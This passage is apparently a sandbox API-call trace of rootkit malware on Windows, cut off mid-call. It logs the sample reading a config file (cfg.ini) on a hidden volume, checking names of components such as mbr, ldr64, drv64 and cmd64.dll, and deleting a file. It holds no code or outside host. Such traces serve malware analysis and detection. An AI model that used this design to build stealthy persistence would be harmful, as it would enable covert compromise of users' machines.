KeEnterCriticalRegion () [0130.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.168] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.168] IdePortDispatch () returned 0x103 [0130.169] KeWaitForMutexObject () returned 0x0 [0130.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.169] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.169] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.169] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.169] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.169] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd320 [0130.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.169] KeLeaveCriticalRegion () [0130.169] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.169] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.169] KeEnterCriticalRegion () [0130.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.169] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.169] KeLeaveCriticalRegion () [0130.169] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.169] KeEnterCriticalRegion () [0130.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.169] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.169] IdePortDispatch () returned 0x103 [0130.169] KeWaitForMutexObject () returned 0x0 [0130.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.170] KeLeaveCriticalRegion () [0130.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.170] KeEnterCriticalRegion () [0130.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d35000 [0130.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.170] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.170] IdePortDispatch () returned 0x103 [0130.170] KeWaitForMutexObject () returned 0x0 [0130.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.170] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.170] IdePortDispatch () returned 0x103 [0130.170] KeWaitForMutexObject () returned 0x0 [0130.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.170] KeLeaveCriticalRegion () [0130.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.171] KeEnterCriticalRegion () [0130.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.171] KeLeaveCriticalRegion () [0130.171] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.171] KeEnterCriticalRegion () [0130.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.171] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.171] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.171] KeLeaveCriticalRegion () [0130.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.171] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.171] KeEnterCriticalRegion () [0130.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.171] ExFreePoolWithTag (P=0xfffffa8003bfd320, Tag=0x0) [0130.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.171] KeLeaveCriticalRegion () [0130.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.171] ReleaseMutex (hMutex=0xf0) returned 1 [0130.171] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.171] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.171] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.172] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.172] KeEnterCriticalRegion () [0130.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.172] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.172] IdePortDispatch () returned 0x103 [0130.172] KeWaitForMutexObject () returned 0x0 [0130.172] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.172] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.172] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.172] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.172] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.172] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.172] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.172] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.172] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.172] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.172] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.172] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.172] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.172] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.172] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.172] KeLeaveCriticalRegion () [0130.172] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.172] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.172] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.172] KeEnterCriticalRegion () [0130.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.173] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.173] IdePortDispatch () returned 0x103 [0130.173] KeWaitForMutexObject () returned 0x0 [0130.173] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.173] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.173] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.173] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.173] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.173] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.173] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.173] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.173] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.173] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.173] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.173] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.173] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.173] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.173] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.173] KeLeaveCriticalRegion () [0130.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.173] ReleaseMutex (hMutex=0x100) returned 1 [0130.173] Sleep (dwMilliseconds=0x2bf20) [0130.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70ca4a30, dwHighDateTime=0x1d24fa4)) [0130.181] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.181] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.181] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.181] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.181] KeEnterCriticalRegion () [0130.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.182] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.182] IdePortDispatch () returned 0x103 [0130.182] KeWaitForMutexObject () returned 0x0 [0130.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.182] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.182] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.182] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.182] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.182] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cfb0 [0130.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.182] KeLeaveCriticalRegion () [0130.182] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.182] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.182] KeEnterCriticalRegion () [0130.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.182] KeLeaveCriticalRegion () [0130.182] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.182] KeEnterCriticalRegion () [0130.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.182] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.182] IdePortDispatch () returned 0x103 [0130.182] KeWaitForMutexObject () returned 0x0 [0130.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.183] KeLeaveCriticalRegion () [0130.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.183] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.183] KeEnterCriticalRegion () [0130.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d38000 [0130.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.183] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.183] IdePortDispatch () returned 0x103 [0130.183] KeWaitForMutexObject () returned 0x0 [0130.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.183] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.183] IdePortDispatch () returned 0x103 [0130.183] KeWaitForMutexObject () returned 0x0 [0130.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.183] KeLeaveCriticalRegion () [0130.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.184] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.184] KeEnterCriticalRegion () [0130.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.184] KeLeaveCriticalRegion () [0130.184] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.184] KeEnterCriticalRegion () [0130.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.184] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.184] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.184] KeLeaveCriticalRegion () [0130.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.184] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.184] KeEnterCriticalRegion () [0130.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.184] ExFreePoolWithTag (P=0xfffffa800294cfb0, Tag=0x0) [0130.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.184] KeLeaveCriticalRegion () [0130.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.184] ReleaseMutex (hMutex=0xf0) returned 1 [0130.184] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.184] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.185] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.185] KeEnterCriticalRegion () [0130.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.185] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.185] IdePortDispatch () returned 0x103 [0130.185] KeWaitForMutexObject () returned 0x0 [0130.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.185] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.185] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.185] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.185] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.185] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08280 [0130.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.185] KeLeaveCriticalRegion () [0130.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.185] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.185] KeEnterCriticalRegion () [0130.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.185] KeLeaveCriticalRegion () [0130.185] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.185] KeEnterCriticalRegion () [0130.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.185] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.185] IdePortDispatch () returned 0x103 [0130.186] KeWaitForMutexObject () returned 0x0 [0130.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.186] KeLeaveCriticalRegion () [0130.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.186] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.186] KeEnterCriticalRegion () [0130.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d39000 [0130.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.186] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.186] IdePortDispatch () returned 0x103 [0130.186] KeWaitForMutexObject () returned 0x0 [0130.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 